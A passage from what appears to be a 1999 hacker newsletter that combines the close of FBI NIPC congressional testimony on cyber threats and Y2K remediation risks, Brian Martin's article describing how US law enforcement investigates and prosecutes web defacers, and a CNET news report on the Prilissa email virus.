facts are available. It also vividly demonstrated the vulnerabilities that
exist in our networks; if these individuals were able to assume "root
access" to DoD systems, it is not difficult to imagine what hostile
adversaries with greater skills and resources would be able to do.
Finally, Solar Sunrise demonstrated the need for interagency coordination
by the NIPC.
Special Threat: Y2K Malicious Activity
The main concern with the Y2K rollover is, of course, the possibility of
widespread service outages caused by the millennium date problem in older
computer systems. The President's Y2K Council has done an excellent job
in helping the nation prepare for the
rollover event. Given our
overall mission under PDD 63, the NIPC's role with regard to Y2K will be
to maintain real-time awareness of intentional cyber threats or incidents
that might take place around the transition to 2000, disseminate warnings
to the appropriate government and private sector parties, and coordinate
the government's response to such incidents. We are not responsible for
dealing with system outages caused by the millennium bug. Because of the
possibility that there might be an increase in malicious activity around
January 1, 2000, we have formulated contingency plans both for NIPC
Headquarters and the FBI Field Offices.
We are presently augmenting our existing relationships and
information-sharing mechanisms with relevant entities in the federal
government, such as the Information Coordination Center (ICC), state and
local governments, private industry, and the CERT/FIRST
community.
Information will come to us from a variety of places, including FBI field
offices and Legal Attaches overseas, as well as the ICC. FBI field
offices are also tasked to establish Y2K plans for their regions of
responsibility. In essence, all of the activities that we will undertake
during the rollover period are ones we perform everyday. The difference
is that we will be prepared to conduct them at an increased tempo to deal
with any incidents occurring during the Y2K rollover.
There is one potential problem associated with Y2K that causes us special
concern -- the possibility that malicious actors, foreign or domestic,
could use the Y2K remediation process to install malicious code in the
"remediated" software. Thousands of
companies across the United
States and around the world are busy having their source code reviewed to
ensure that they are "Y2K compliant." Those who are doing the Y2K
remediation are almost always contractors who are given the status of a
trusted insider with broad authority to review and make changes to the
source code that runs information systems. These contractors could,
undetected, do any of the following to compromise systems:
Install Trap Doors: By installing trap doors, intruders can later
gain access to a system through an opening that they have created
and then exploit or attack the system
Obtain "Root
Access": Given their level of access, remediation companies can gain
the same extensive privileges as the system administrator, allowing
them to steal or alter information or engage in a "denial of
service" attack on the system. Implant Malicious Code: By implanting
malicious code, someone could place a logic bomb or a time-delayed
virus in a system that will later disrupt it. A malicious actor
could also implant a program to compromise passwords or other
aspects of system security. Map Systems: By mapping systems as a
trusted insider, a contractor can gain valuable information to sell
to economic competitors or even foreign intelligence agencies.
Systems can be compromised for any number of purposes, including foreign
intelligence activities, information warfare, industrial espionage,
terrorism, or organized crime. And since any vulnerabilities that are
implanted will persist as long as the software is in
place, this is
a problem that will last well beyond January 1, 2000. Companies and
government agencies therefore need to determine how they will deal with
this potential "Post-Y2K problem" on their critical systems.
We have little concrete evidence so far of vendors' planting malicious
code during remediation. But the threat is such that companies should
take every precaution possible. Of course, checking the remediation work
to make sure that no malicious code was
implanted in a system is no
easy matter. If reviewing the millions of lines of code at issue were
simple, there would be little need for Y2K contractors in the first
place. Nevertheless, given the vulnerabilities that could be implanted in
critical systems, it is imperative that the client companies do as much as
possible to check the background of the companies doing their remediation
work, oversee the remediation process closely, and review new code as
closely as possible and remove any extraneous code. Further, companies
should test for trap doors and other known vulnerabilities to cracking.
Companies can also use "red teams" to try to crack the software and
further determine if trap doors exist.
Status of the NIPC
The NIPC is an interagency Center located at the FBI. Created in 1998,
the NIPC serves as the focal point for the government's efforts to warn
of and respond to cyber intrusions. In PDD-63, the President directed
that the NIPC "serve as a national critical
infrastructure threat
assessment, warning, vulnerability, and law enforcement investigation and
response entity." The PDD further states that the mission of the NIPC
"will include providing timely warnings of intentional threats,
comprehensive analyses and law enforcement investigation and response."
Thus, the PDD places the NIPC at the core of the government's warning,
investigation, and response system for threats to, or attacks on, the
nation's critical infrastructures. The NIPC is the focal point for
gathering information on threats to the infrastructures as
well as
"facilitating and coordinating the Federal Government's response to an
incident." The PDD further specifies that the NIPC should include
"elements responsible for warning, analysis, computer investigation,
coordinating emergency response, training, outreach, and development and
application of technical tools."
The NIPC has a vital role in collecting and disseminating information
from all relevant sources. The PDD directs the NIPC to "sanitize law
enforcement and intelligence information for inclusion into analyses and
reports that it will provide, in appropriate form, to
relevant
federal, state, and local agencies; the relevant owners and operators of
critical infrastructures; and to any private sector information sharing
and analysis entity." The NIPC is also charged with issuing "attack
warnings or alerts to increases in threat condition to any private sector
information sharing and analysis entity and to the owners and operators."
In order to perform its role, the NIPC is continuing to establish a
network of relationships with a wide range of entities in both the
government and the private sector. The PDD provides for this in several
ways. First, it states that the Center will "include
representatives
from the FBI, U.S. Secret Service, and other investigators experienced in
computer crimes and infrastructure protection, as well as representatives
detailed from the Department of Defense, Intelligence Community and Lead
Agencies.1 Second, pursuant to the PDD, the NIPC has electronic links to
the rest of the government in order to facilitate the sharing of
information and the timely issuance of warnings. Third, the PDD directs
all executive departments and agencies to "share with the NIPC information
about threats and warning of attacks and actual attacks on critical
government and private sector infrastructures, to the extent permitted by
law." By bringing other agencies directly into the Center and building
direct communication linkages, the Center provides a means of coordinating
the government's cyber expertise and ensuring full sharing of
information, consistent with applicable laws and regulations.
To accomplish its goals under the PDD, the NIPC is organized into three
sections:
1) The Computer Investigations and Operations Section (CIOS) is the
operational and response arm of the Center. It program manages computer
intrusion investigations conducted by FBI Field Offices throughout the
country; provides subject matter experts,
equipment, and technical
support to cyber investigators in federal, state, and local government
agencies involved in critical infrastructure protection; and provides a
cyber emergency response capability to help resolve a cyber incident.
2) The Analysis and Warning Section (AWS) serves as the "indications and
warning" arm of the NIPC. The AWS reviews numerous government and private
sector databases, media, and other sources daily to disseminate
information that is relevant to any
aspect of NIPC's mission,
including the gathering of indications of a possible attack. It provides
analytical support during computer intrusion investigations, performs
analyses of infrastructure risks and threat trends, and produces current
analytic products for the national security and law enforcement
communities, the owners-operators of the critical infrastructures, and
the computer network managers who protect their systems. It also
distributes tactical warnings, alerts, and advisories to all the relevant
partners, informing them of exploited vulnerabilities and threats.
3) The Training, Outreach and Strategy Section (TOSS) coordinates the
training and continuing education of cyber investigators within the FBI
Field Offices and other federal, state and local law enforcement
agencies. It also coordinates our liaison with private
sector
companies, state and local governments, other government agencies, and
the FBI's Field Offices. In addition, this section manages our collection
and cataloguing of information concerning "key assets" -- i.e., critical
individual components within each infrastructure sector, such as specific
power grids, telecommunications switch nodes, or financial systems --
across the country.
To facilitate our ability to investigate and respond to attacks, the FBI
has created the National Infrastructure Protection and Computer Intrusion
(NIPCI) Program in the 56 FBI Field Offices across the country. Under
this program, managed by the NIPC at
FBIHQ, "NIPCI" squads
consisting of at least seven agents have been created in 10 Field
Offices: Washington D.C., New York, San Francisco, Chicago, Dallas, Los
Angeles, Atlanta, Charlotte, Boston, and Seattle. For FY 2000, we intend
to reallocate our existing field agent compliment to create six additional
squads in Baltimore, Houston, Miami, Newark, New Orleans, and San Diego.
Because of resource constraints, the other field offices have only 1 - 5
agents dedicated to working NIPCIP matters.
The NIPC's mission clearly requires the involvement and expertise of many
agencies other than the FBI. This is why the NIPC, though housed at the
FBI, is an interagency center that brings together personnel from all the
relevant agencies. In addition to our 79
FBI employees, the NIPC
currently has 28 representatives from: DoD (including the military
services and component agencies), the CIA, DOE, NASA, the State
Department as well as federal law enforcement, including the U.S. Secret
Service, the U.S. Postal Service and, until recently, the Oregon State
Police. The NIPC is in the process of seeking additional representatives
from State and local law enforcement.
But clearly we cannot rely on government personnel alone. Much of the
technical expertise needed for our mission resides in the private sector.
Accordingly, we rely on contractors to provide technical and other
assistance. We are also in the process of
arranging for private
sector representatives to serve in the Center full time. In particular,
the Attorney General and the Information Technology Association of
America (ITAA) announced in April that the ITAA would detail personnel to
the NIPC as part of a "Cybercitizens Partnership" between the government
and the information technology (IT) industry. Information technology
industry representatives serving in the NIPC would enhance our technical
expertise and our understanding of the information and communications
infrastructure.
NIPC Activities
The NIPC's operations can be divided into three categories: protection,
detection, and response.
Protection
Our role in protecting infrastructures against cyber intrusions is not to
advise the private sector on what hardware or software to use or to act
as their systems administrator. Rather, our role is to provide
information about threats, ongoing incidents, and exploited
vulnerabilities so that government and private sector system
administrators can take the appropriate protective measures. The NIPC is
developing a variety of products to inform the private sector and other
government agencies of threats, including: warnings, alerts, and
advisories; the Infrastructure Protection Digest; Critical Infrastructure
Developments; CyberNotes; and topical electronic reports. These products
are designed for tiered distribution to both government and private
sector entities consistent with applicable law and the need to protect
intelligence sources and methods, and law enforcement investigations. For
example, the Infrastructure Protection Digest is a quarterly publication
providing analyses and information on critical infrastructure issues. The
Digest provides analytical insights into major trends and events
affecting the nation's critical infrastructures. It is usually published
in both classified and unclassified formats and reaches national security
and civilian government agency officials as well as infrastructure owners.
Critical Infrastructure Developments is distributed bi-weekly to private
sector entities. It contains analyses of recent trends, incidents, or
events concerning critical infrastructure protection. CyberNotes is
another NIPC publication designed to provide security and information
system professionals with timely information on cyber vulnerabilities,
hacker exploit scripts, hacker trends, virus information, and critical
infrastructure-related best practices. It is published twice a month on
our website and disseminated in hard copy to government and private sector
audiences.
The NIPC, in conjunction with the private sector, has also developed an
initiative called "InfraGard" to expand direct contacts with the private
sector infrastructure owners and operators and to share information about
cyber intrusions and exploited
vulnerabilities, with the goal of
increasing protection of critical infrastructures. The initiative
encourages the exchange of information by government and private sector
members through the formation of local InfraGard chapters within the
jurisdiction of each of the 56 FBI Field Offices. The initiative includes
an intrusion alert network using encrypted e-mail, a secure website and
local chapter activities. A critical component of InfraGard is the
ability of industry to provide information on intrusions to the NIPC and
the local FBI Field Office using secure communications in both a detailed
and a "sanitized" format. The local FBI Field Offices can, if
appropriate, use the detailed version to initiate an investigation, while
the NIPC can analyze that information in conjunction with law enforcement,
intelligence, open source, or other industry information to determine if
the intrusion is part of a broader attack on numerous sites. The NIPC can
simultaneously use the sanitized version to inform other members of the
intrusion without compromising the confidentiality of the reporting
company. InfraGard also provides us with a regular, secure method of
providing additional security related to information to the private
sector based on information we obtained from law enforcement
investigations and other sources. InfraGard has recently been expanded to
a total of 21 FBI Field Offices. The program will be expanded to the rest
of the country later this year.
Under PDD-63, the NIPC also serves as the U.S. government's "Lead Agency"
for the Emergency Law Enforcement Services Sector. As Sector Liaison for
law enforcement, the NIPC and a "Sector Coordinator" committee
representing state and local law
enforcement are formulating a plan
to reduce the vulnerabilities of state and local law enforcement to cyber
attack and are developing methods and procedures to share information
within the sector. The NIPC and the FBI Field Offices are also working
with the State and local law enforcement agencies to raise awareness with
regard to vulnerabilities in this sector.
Detection
Given the ubiquitous vulnerabilities in existing Commercial Off-the-Shelf
(COTS) software, intrusions into critical systems are inevitable for the
foreseeable future. Thus, detection of these intrusions is critical if
the U.S. Government and critical infrastructure
owners and operators
are going to be able to respond. To improve our detection capabilities,
we first need to ensure that we are fully collecting, sharing, and
analyzing all extant information from all relevant sources. It is often
the case that intrusions can be discerned simply by collecting bits of
information from various sources; conversely, if we don't collate these
pieces of information for analysis, we might not detect the intrusions at
all. Thus the NIPC's role in collecting information from all sources and
performing analysis in itself aids the role of detection.
The NIPC is currently concentrating on developing and implementing
reliable mechanisms for receiving, processing, analyzing and storing
information provided by government and private sector entities. This
information is being used by NIPC analysts to develop
tactical and
strategic warning indicators of cyber threats and attacks. The NIPC and
North American Energy Reliability Council (NERC) have established an
industry-based Electric Power Working Group to develop tactical warning
indicators and information sharing procedures for the electric power
sector. The NIPC also has developed mechanisms to share cyber incident
information with both government agencies and private companies in the
telecommunications sector. In the long-term, our indications and warning
efforts will require participation by the Intelligence Community, DoD,
the sector lead agencies, other government agencies, federal, State and
local law enforcement, and the private sector owners and operators of the
infrastructures.
Another initiative that will aid in the detection of network intrusions
is the "Federal Intrusion Detection Network" ("FIDNet"), a National
Security Council initiative that would be managed by the General Services
Administration. Many agencies already have their
own intrusion
detection systems. FIDNet will enhance agencies' cyber security by
linking their intrusion detection systems together so that suspicious
patterns of activity can be detected and alerts issued across agencies.
The goal of FIDNet is to detect intrusions in the federal civilian
agencies' critical computer systems. (Contrary to recent press reports,
FIDNet will not extend to private sector systems.) To do this, critical
network event data will be captured and analyzed so that patterns can be
established and, in the event of an attack, warnings issued. FIDNet will
be the civilian agency counterpart for the automated detection system
currently deployed across Department of Defense systems. FIDNet, under
current plans, will consist of the following: sensors at key network
nodes; a centrally managed GSA facility, the Federal Intrusion Detection
Analysis Center (FIDAC), to analyze the technical data from the nodes;
and secure storage and dissemination of collected information. The NIPC
will receive reports from the FIDAC when there is evidence of a possible
federal crime (such as a violation of 18 U.S.C §1030). Using all-source
information, the Center would then analyze intrusions and other
significant incidents to implement response efforts and support and
inform national security decision-makers. FIDNet-derived information would
also be combined with all-source reporting available to the NIPC to
produce analysis and warning products which will be distributed to
government, private sector companies, and the public, as appropriate.
Response
The NIPC's and the FBI's role in response principally consists of
investigating intrusions to identify the responsible party and issuing
warnings to affected entities so that they can take appropriate
protective steps. As discussed earlier, in the cyber world,
determining what is happening during a suspected intrusion is difficult,
particularly in the early stages. An incident could be a system probe to
find vulnerabilities or entry points, an intrusion to steal or alter data
or plant sniffers or malicious code, or an attack to disrupt or deny
service. The cyber crime scene is totally different from a crime scene in
the physical world in that it is dynamic -- it grows, contracts, and can
change shape. Determining whether an intrusion is even occurring can
often be difficult in the cyber world, and usually a determination cannot
be made until after an investigation is initiated. In the physical world,
by contrast, one can see instantly if a building has been bombed or an
airliner brought down.
Further, the tools used to perpetrate a cyber terrorist attack can be the
same ones used for other cyber intrusions (simple hacking, foreign
intelligence gathering, organized crime activity to steal data, etc.),
making identification and attribution more difficult. The
perpetrators could be teenagers, criminal hackers, electronic protestors,
terrorists, foreign intelligence services, or foreign military. In order
to attribute an attack, FBI Field Offices can gather information from
within the United Sates using either criminal investigative or foreign
counter-intelligence authorities, depending on the circumstances. This
information is necessary not only to identify the perpetrator but also to
determine the size and nature of the intrusion: how many systems are
affected, what techniques are being used, and what the purpose of the
intrusions is--disruption, espionage, theft of money, etc.
Relevant information also could come from the U.S. Intelligence Community
(if the attack is from a foreign source), other U.S. government agency
information, state and local law enforcement, private sector contacts,
the media, other open sources, or foreign
law enforcement contacts.
The NIPC's role is to coordinate and collect this information.
On the warning side, if we determine an intrusion is imminent or
underway, the Watch and Warning Unit is responsible for formulating
warnings, alerts, or advisories and quickly disseminating them to all
appropriate parties. If we determine an attack is underway,
we can
issue warnings using an array of mechanisms, and send out sanitized and
unsanitized warnings to the appropriate parties in the government and the
private sector so they can take immediate protective steps. The Center
has issued 22 warnings, alerts, or advisories between January 4 and
September 22, 1999.
Two other NIPC initiatives are directed to improving our response
capabilities. First, to respond appropriately, our field investigators
need the proper training. Training FBI and other agencies' investigators
is critical if we hope to keep pace with the rapidly
changing
technology and be able to respond quickly and effectively to computer
intrusions. The NIPC has been very active in training. These training
efforts will help keep us at the cutting edge of law enforcement and
national security in the 21st Century. The Center provided training to 314
attendees in FY 1998. In FY 99, over 383 FBI Agents, state and local law
enforcement representatives, and representatives from other government
agencies have taken FBI-sponsored courses on computer intrusions and
network analysis, the workings of the energy and telecommunications key
assets, and other relevant topics.
Second, our Key Asset Initiative (KAI) facilitates response to threats
and intrusion incidents by building liaison and communication links with
the owners and operators of individual companies in the critical
infrastructure sectors and enabling contingency planning.
The KAI
began in the 1980s and focused on physical vulnerabilities to terrorism.
Under the NIPC, the KAI has been reinvigorated and expanded to focus on
cyber vulnerabilities as well. The KAI initially will involve determining
which assets are key within the jurisdiction of each FBI Field Office and
obtaining 24-hour points of contact at each asset in cases of emergency.
Eventually, if future resources permit, the initiative will include the
development of contingency plans to respond to attacks on each asset,
exercises to test response plans, and modeling to determine the effects of
an attack on particular assets. FBI Field Offices will be responsible for
developing a list of the assets within their respective jurisdictions,
while the NIPC will maintain the national database. The KAI is being
developed in coordination with DOD and other agencies.
Conclusion
While the NIPC has accomplished much over the last year in building the
first national-level operational capability to respond to cyber
intrusions, much work remains. We have learned from cases that successful
network investigation is highly dependent on
expert investigators
and analysts, with state of the art equipment and training. We have begun
to build that capability both in the FBI Field Offices and at NIPC
Headquarters, but we have much work ahead if we are to build our
resources and capability to keep pace with the changing technology and
growing threat environment and be capable of responding to several major
incidents at once.
We have also demonstrated how much can be accomplished when agencies work
together, share information, and coordinate their activities as much as
legally permissible. But on this score, too, more can be done to achieve
the interagency and public-private
partnerships called for by PDD-
63. We need to ensure that all relevant agencies are sharing information
about threats and incidents with the NIPC and devoting personnel and
other resources to the Center so that we can continue to build a truly
interagency, "national" center. Finally, we must work with Congress to
make sure that policy makers understand the threats we face in the
Information Age and what measures are necessary to secure our Nation
against them. I look forward to working with the Members and
Staff of this Committee to address these vitally important issues.
Thank you.
1 The Lead Agencies are: Commerce for information and communications;
Treasury for banking and finance; EPA for water supply; Transportation
for aviation, highways, mass transit, pipelines, rail, and waterborne
commerce; Justice/FBI for emergency law enforcement services; Federal
Emergency Management Agency for emergency fire service and continuity
of government; Health and Human Services for public health services.
The Lead Agencies for special functions are: State for foreign affairs,
CIA for intelligence, Defense for national defense, and Justice/FBI for
law enforcement and internal security. The NIPC is performing the lead
agency and special functions roles specified for "Justice/FBI" in the PDD.
@HWA
04.0 Defacing Websites: Is it Worth It?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Brian Martin
Why have there been so many web page defacements
and so few arrests lately? What should you do if Law
Enforcement comes knocking at your door looking to
take all your computer equipment and other electronic
equipment and media. Brian Martin takes a look at these
questions and more in the latest Buffer Overflow article,
"Is it worth it."
Buffer Overflow
http://www.hackernews.com/orig/buffero.html
Is it worth it?
Dispelling the myths of law enforcement and hacking
By: Brian Martin
A recent chat with an active web page defacer made me
realize just how naive some crackers can be about law
enforcement (LE). Despite a large amount of cases being
brought against crackers in the past, there is still an air of
uncertainty and a handful of myths lingering in their minds.
The problem can be tracked back to two types of
individuals that contribute to the problem. I will touch a
bit on the problem and spend the rest of this piece trying
to clear up some of the myths, as well as bring to light
new developments in law enforcement's handling of
computer crime.
The first and foremost problem is uninformed individuals
that propogate (or make up) supposed facts about law
enforcement procedure. Rather than using common sense
to dispel the rumor or taking a little time to research what
they say, they blindly pass on errata and treat it as
gospel. A good example of this can be found in "Inside
Happy Hacker, Jan. 19, 1999", where Carolyn Meinel
asserts "They have *not* sent me (Carolyn) a "target
letter." This is a letter that formally tells someone that
he or she is a suspect." There is absolutely no foundation
for this outlandish rumor. Anyone under FBI investigation
should know this. Meinel was questioned extensively about
her involvement in the defacing of the New York Times
web site. Despite this questioning and obvious
investigation, she still made this ridiculous claim. The FBI
investigation went so far as to ask her to take a
polygraph test! Going against track record, Meinel did the
right thing and refused to. More on polygraphs later.
The second problem arises from those close to, or
involved in an FBI raid and investigation. After waking to
gunpoint and watching agents harass family and
sometimes neighbors, they see all of their equipment
carted out the door. Inevitably, the first thing they do is
call their friends and warn them about what happened.
Adrenaline still pumping, they tend to exaggerate the
events that just occured. A question about another
cracker may lead to "Dood, Joe.. they are coming to raid
you next!" One thing often doesn't mean another.
So, let's set some minds at ease and answer questions
about how law enforcement works. Disclaimer: If anything
in this article is incorrect, please e-mail me and let me
know! The information presented here is accurate to the
best of my knowledge. I have consulted with one FBI
agent and two DCIS agents to verify as much as I could.
Sections:
1. Who's investigating you?
2. LE Resources
3. The Raid
4. What are they charging me with?
5. The Polygraph
6. Copping a plea
7. Punishment
8. Why haven't they busted me yet?
Who's investigating you?
There are at least five agencies that investigate computer
crime in the United States. For computer crimes that do
not involve crossing state lines (PBX hacking, local dialins,
etc), many state or city LE agencies are equipped to
investigate. Some state LE offices have a dedicated
officer with adequate resources to investigate with no
external help. Computer crimes that involve crossing state
lines brings two more agencies to bear.
The Federal Bureau of Investigation (FBI) is the primary
agency chartered to handle domestic interstate computer
hacking. In the late 80's and early 90's, these
investigations were handled by the Secret Service (SS).
With a few rare exceptions, the Secret Service no longer
handles computer crime investigation. Some of these
exceptions are the hacking of White House machines
(unconfirmed rumor) and hacking that involves threats to
the President or other specific individuals.
The third agency that comes into play is the Defense
Criminal Investigative Service (DCIS). When hacks occur
that involve military machines (.mil), DCIS is brought in to
investigate. These agents often work closely with the FBI
and have liason agents that spends most of their time
working side by side with the FBI. DCIS agents are gun
toting, badge carrying, door kicking agents just like the
FBI. When not investigating computer crime, they are
responsible for most criminal investigations that occur on
US Military bases.
The fourth agency is the Air Force Office of Special
Investigations (AFOSI). Any computer intrusion into a
United States Air Force machine falls into their domain.
They operate primarily out of a Washington field office,
and work with DCIS when needed.
What NASA lacks in security, they make up for in the
investigative department. National Aeronautics and Space
Administration, Office of Inspector General (NASA OIG) is
a highly regarded branch of NASA that investigates
intrusions into their networks. Considered by some
investigators to be the top of the food chain, they
certainly have a large quantity of work.
If you deface a web site, any one of these (or all of them)
may be investigating you. Like many government
agencies, the FBI is not well known for inter office
communication skills. There have been times when multiple
agents investigated the same individual without knowledge
of the other. This communication problem extends to DCIS
despite their liason agents to the FBI. Rest assured, at
least one of the three does have an investigation into the
defacement.
In the past few months I have been told by several
defacers "Dood, the NSA is investigating me!" Hate to
burst your bubble, but I seriously doubt it. The National
Security Agency (NSA) does not even have the power to
arrest. With a few exceptions (I imagine), they do not
carry guns and they do not spy on you every second. I
will not debate what power they do have, but those
things I am pretty sure of. Suffice it to say, even if they
were keeping tabs on you and your actions, it is the least
of your worries. Any evidence they collect is not shared
with the FBI, and would have to be explained in court how
it was obtained. Do you think the NSA will admit to
monitoring domestic communication over a few web page
defacements? ;)
For active defacers and crackers in the United Kingdom,
you will be investigated by the Computer Crime Unit (CCU)
at Scotland Yard.
LE Resources
On top of entire labs dedicate
d to investigating computer
crime, most law enforcement uses an entirely different set
of resources for the initial investigation. Unbeknownst to
many active crackers, it is their own words and actions
that lead to trouble. Rather than admit they were
careless, conspiracy theory and games of "who's the narc"
come up.
Law Enforcement uses the same resources you do. They
view web sites that mirror defacements. They read
bugtraq and other sites that talk about new
vulnerabilities. They read hacker social lists like dc-stuff
and web based BBSs. They IRC quite frequently, and do
so under fairly innocent names. Certainly nothing that
screams their real identity. Add all of that up, and they
can typically build a good profile of any given cracker with
little to no effort.
The Raid
There is nothing quite like waking up to the unfriendly
barrel of a 9mm and large armored man pointing it at you.
Equally disturbing is watching them parade your roomate
or family half naked out to a central room or front porch
while the agents secure the residence. LE raids are pretty
straight forward. They come in with a Search and Seizure
warrant that gives them the right to confiscate anything
pertaining to the investigation. This includes everything
from computers, to books, to ANY media including tapes,
CDROMs, console cartridges and more. During this process
you are questioned by several agents. This is where you
invoke your right to have a lawyer present during
questioning. Do not be hostile or insulting to the agents,
just give them relevant information like name, birthdate
and vital information. Before they begin the search, you
should do two things. First, ask to see their identification
and verify who they are. Second, ask to see a copy of
the warrant. Some agents will not comply with either
demand. Deal with it, they have guns and bad attitudes.
You cannot reason with them.
During the questioning take notes. You have the right to
have pencil and paper there, but you may not record the
conversation or have a witness present. Assume that they
are recording the conversation despite what they say.
When they ask if you have any traps set to destroy
computer equipment if tampered with, tell the truth. If
you do not divulge that type of information and it results
in an agent getting hurt, your life will not be pleasant and
Title 18 will be the least of your concerns.
During the raid they will use all sorts of tactics during
questioning. The familiar good cop/bad cop routine, the
"let's be friends after this", harsh and accusing, and the all
time favorite, outright lying. Yes, those oh-so-noble
agents will lie to you, all the while bantering about how
important honesty is. They are not required to tell you the
truth, so don't think otherwise.
At the conclusion of the raid, you should be left with a
copy of the warrant, contact information for at least one
agent, and a receipt for all material confiscated. If you
are not left with those three items, immediately contact a
lawyer and get advice on how to procede. Despite there
being rights and laws to protect you, FBI agents often
overlook them.
What are they charging me with?
As many people know, computer crime falls under US Title
18 code. For each system you intrude on, LE can charge
you with at least one (usually more) count of violating
Title 18. There are adequate papers and web pages that
cover this, so I won't go into much detail. Instead, there
are two other aspects which many people aren't aware of
that are worse than Title 18. These are the laws you
should truly fear.
The first is Conspiracy. If your friend defaces a web site,
you could go to jail as scary as it may sound. Having prior
knowledge of, or being an accessory to the crime makes
you guilty of Conspiracy. As a responsible law abiding
citizen, if you have knowledge of a crime that is about to
be, or has been committed, you must report it to the
proper authorities. If you make no effort to stop the crime
and at the very least report it before it occurs, you are
just as guilty as the perpetrator of the crime. What makes
this worse than Title 18 violation is the proof. A court of
law only has to establish that you knew about the crime
and did not act accordingly in order to convict you of it.
One IRC chat log, one piece of mail confiscated from a
machine, or one recorded phone call (or conference call)
is all it takes.
The second set of laws you could conceivably be charged
with is much more sinister. They apply to any hacking or
defacing of government or military servers. From what I
understand, DCIS agents are using this effectively to
guarantee prosecution and encourage plea bargains.
Rather than charge the cracker with US Title 18, Chapter
47, 1030, they revert to US Title 18, Chapter 119, 2511,
which covers disruption and/or interception of
communication of US Government and Military computers.
By denying service or intercepting communications to or
from a government system, you are committing a different
crime than those covered under Chapter 47. DCIS was
quite clever in using this one as it is apparently easier to
prove in court.
The Polygraph
The Polygraph test analyzes various physiological
reactions to questions asked of you. Based on these
reactions, they try to determine if you are lying. Sounds
like the ultimate law enforcement tool right? Wrong. The
courts have ruled that polygraph test results are
inadmissible in court. The FBI and other LEs use the poly
as a guideline to help steer their investigation. Asking
someone to take one is one of many ways LE forces
people into a Catch-22 of sorts. If you take it, you can't
lie about anything. Worse, you can't get nervous as that
could affect the results. If you decline the polygraph, the
LE agency will imply or outright accuse you of declining
because of guilt. Regardless of their request, decline all
polygraph requests! A polygraph can rarely help you.
Even if you did not commit a crime and say so under poly,
it will never see a court. If the LE chooses to bring a case
against you anyway, taking the test will not have helped.
Copping a plea
If the investigation progresses to the point of them
pressing charges against you, the prosecuting attorney
and agent may approach you to cut a deal. First and most
important warning! LE Agents do NOT have the ability to
cut deals! They can recommend certain actions to the
prosecution, but have no power to cut a deal themselves.
There are two points in the investigation that LE agents
may approach you to cut a deal: before and/or after
pressing charges. If an agent comes to you promising a
sweet deal without pressing charges, smile to yourself. No
charges, no reason to cut a deal. This is another ploy
used to encourage you to admit to a crime.
Once the prosecuting attorney presses charges, they may
come to you looking for you to cut a deal. One thing this
will entail is admitting to some or all of the crimes you
stand accused of. Some of the other things they may look
for:
1. Admission of other crimes you haven't been
accused of.
2. A list of additional systems you have or can
access.
3. Cooperation in busting other individuals.
--a. Current information you possess on other
cracker activity (aka narc)
--b. Gaining additional information via logged chat or
recorded calls. (aka informant)
Punishment
It is very difficult to guess what type of punishment you
can expect to get if caught and convicted. Relevent
factors that affect this are your age, level of crime,
whether you are a repeat offender, if you cut a deal and
more. Because most cracker cases never reach trial, there
is little case history to draw off and try to isolate any
trends. For the most part, cases end in a deal that
involves little jail time, long probation, community service
and fines. If convicted, you can expect all of the above.
Why haven't they busted me yet?
One of the most often asked questions by young hackers
is, "Why haven't they raided me yet?" Seemingly the best
evidence to support the theory that they are not being
investigated, it is a lack of understanding on how the feds
work, nothing more. Once an investigation begins, federal
agents will do as much work on the case as humanly
possible without running the chance of alerting the
individual. This means that subpoenas or anything else
that could get back to the target comes when all other
resources have been exhausted. Once all of the evidence
is processed and the case formed, agents will make sure
they have a case.
Case information in hand, they take it to a judge to get a
search and seizure warrant in order to accumulate more
information. Once the judge issues this warrant, it is
sometimes a matter of hours before they execute it and
knock on the door. Because of the order of events and
the way they work, it is quite likely you will not know of
an investigation until you are looking down the barrel of a
gun.
"But, it's been six months since I did anything!" Another
good observation, but still naive. While the federal agents
are investigating you, they are also investigating dozens,
maybe hundreds of other people. Each agent works day to
day with several cases open, contributing to several as
they make phone calls and do research. It is not
uncommon that with the amount of cases, they become
backlogged. Six months? You aren't in the clear.
In Conclusion
Defacing a web page, especially one run by the
government, is a serious crime. With the recent rash of
government/military defacements, one has to wonder if
the defacers are aware of the potential repurcussions of
their actions. Is replacing a web page with a hastily
written one or two line text message worth going to jail
for? No justification of 'hacktivism', free security audit, or
any other shallow attempt to justify defacing holds up. No
court will buy it, no agent will go easy on you for it.
"0wn3d by h4ckerX, fuk da gov. greetz to bob"
"hacked for my true love Meg!$!$@$"
Are either of those messages really worth rotting in jail for
a year? At the end of which you are not allowed to touch
a computer or cell phone? Did you really accomplish
anything or get a message across?
I certainly think not.
Brian Martin (bmartin@attrition.org)
Copyright 1999
@HWA
05.0 Christmas Brings Joy For Prilissa
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by no0ne
A combination of Melissa and PRI, a new virus dubbed
"Prilissa", has the capability to reformat your hard drive.
If activated before Christmas day the payload will wait
until the 25th before it attempts to reformat your drive.
It is another one of those viruses that spreads via
e-mail and takes advantage of security holes in both
Microsoft Outlook and Outlook Express to replicate.
C|Net
http://news.cnet.com/news/0-1006-200-1455135.html?dtn.head
MSNBC
http://www.msnbc.com/news/337425.asp
Symantec
http://www.symantec.com/avcenter/venc/data/w97m.prilissa.a.html
C|Net;
Christmas virus could reformat hard drives
By John Borland
Staff Writer, CNET News.com
November 19, 1999, 4:40 p.m. PT
This is worse than a lump of coal.
A new quick-spreading computer virus that can reformat a victim's computer
hard drive on Christmas has been detected, and already appears to have
cropped up on three continents, antivirus researchers said.
Dubbed "Prilissa," the malicious code is a combination of Melissa, an
earlier virulent virus spread via email, and another program called PRI. It
follows an increasingly common trend of using security holes in Microsoft's
Outlook and Outlook Express to spread itself through email.
"Come Christmas day, you could turn on your computer to play a new game or
whatever, and it reformats your hard drive," said Sal Viveros, group
marketing manager for the antivirus division of Network Associates.
While potentially dangerous for users, the increased visibility of these
viruses has been a boon for antivirus companies such as Network Associates
and Trend Micro, which have seen sales of antivirus software skyrocket.
Researchers at Network Associates antivirus labs say they discovered
Prilissa two days ago and deemed it a low risk, since it had not yet
surfaced "in the wild," or on the Internet at large. But today at least 10
Fortune 500 companies scattered across Europe, the United States and
Australia called in reports about the virus, the company said.
The code draws from both of its predecessors. Like Melissa, the virus comes
as an attachment in an email. Once opened, the virus will email itself to
the first 50 addresses in an infected computer's email contact list. From
the PRI code, it inserts random colored squares into a user's documents.
But unlike its predecessors, which mostly only led to excessive email
traffic, Prilissa carries a destructive kick. If opened, a user's hard
drive could get re-configured.
